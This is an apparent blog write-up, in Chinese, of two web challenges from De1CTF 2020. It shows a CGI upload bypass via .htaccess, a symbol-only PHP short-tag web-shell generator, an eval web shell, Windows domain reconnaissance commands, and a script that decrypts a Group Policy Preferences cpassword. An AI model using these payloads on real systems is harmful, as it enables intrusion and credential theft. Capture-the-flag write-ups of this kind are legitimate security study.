De1ta 2020 部分WP

web

check in

  • 打开题目后,发现是一个文件上传的题目

  • 随便传个马,发现过滤了perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!

  • 于是想到了利用cgi执行脚本

  • 先上传一个.htaccess文件,内容是:

AddHandler cgi-script .png
  • 然后上传一个后缀为png的文件,内容是
#! /bin/bash
echo "Content-Type: text/html"
echo
echo "rdd" # 满足格式要求,同时注意windows下和linux下文件的差别
cat /flag

  • 访问文件获得flag

Hard_Pentest_1

  • 打开题目,给出了源码:
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="submit">
</form>

</body>
</html>
  • 规定了不能是php的后缀,可以使用Php,PHp等大小写单词进行绕过

  • 正则preg_match('/[a-z0-9;~^`&|]/is',$file_content)限制了上传的文件中不能有大小写字母,数字和字符;~^&|

  • 可以使用短标签,写入文件,一次进行解析

  • 参考P神的文章,链接

  • 编写一个批量生成的脚本

# By:江鸟@星盟
str1 = 'system'
print "<?=$_=[]?><?=$_=@\"$_\"?><?=$_=$_['!'=='@']?>"
for j in str1:
    # print j
    print '<?=$__=$_?>'
    for i in range(1,ord(j)-96):
        print ('<?=$__++?>')
    print '<?=$___.=$__?>'

print('''<?=$____='_'?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$_=$$____?>
<?=$___($_[_])?>''')
  • 传一个能执行system的马上去,然后通过POST传参数_执行命令

  • 这里为了方便,就再写一个马,方便蚁剑直接连接:_=echo ^<?php @eval($_POST['x']);?^> > shell.php

  • 蚁剑连接as_file.png

  • 查看一下根目录和其他目录,发现没有flag,可能是需要域渗透

  • 可以查看别人的目录,但是权限依然很低

  • 使用命令for /r c:\ %i in (*flag*) do @echo %i,查询所有带flag的文件

  • 找到一个目录下有个flag1_and_flag2hint.zip文件,应该是我们要找的文件,可能是谁做的忘删了(上车.jpg

  • 复现时发现直接在R:\下就有了,ORZZZZZ,(眼瞎.jpg

  • 执行命令ipconfig /all;netstat -na;net user /domain;Systeminfo等一些命令,进行信息收集

  • 得出一下几点结论:

本机IP192.168.0.11

内网存在主机192.168.0.12

whoami:de1ctf2020\web

net user /domain :Administrator De1ta Guest HintZip_Pass krbtgt web

  • 值得注意的点HintZip_Pass

  • 尝试一下GPP

  • 利用dir /s /a \\192.168.0.12\SYSVOL\*.xml

  • 发现了Groups.xml

  • 尝试读取type \\192.168.0.12\SYSVOL\De1CTF2020.lab\Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml

  • 内容:

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}">
<Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/>
</User>
</Groups>
 
  • 泄露了信息cpassword,直接脚本
#!/usr/bin/python2
import sys
from Crypto.Cipher import AES
from base64 import b64decode

if(len(sys.argv) != 2):
  print "decrypt.py <cpassword>"
  sys.exit(0)

key = """4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b""".decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
out = AES.new(key, AES.MODE_CBC, "\x00" * 16)
out = out.decrypt(password)
print out[:-ord(out[-1])].decode('utf16')
  • 解出密码zL1PpP@sSwO3d

  • 密码解压压缩包,获得flag以及hint

flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y}

Get flag2 Hint:
hint1: You need De1ta user to get flag2
hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f].
hint3: Pay attention to the extended rights of De1ta user on the domain.
hint4: flag2 in Domain Controller (C:\Users\Administrator\Desktop\flag.txt)

PS: Please do not damage the environment after getting permission, thanks QAQ.
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值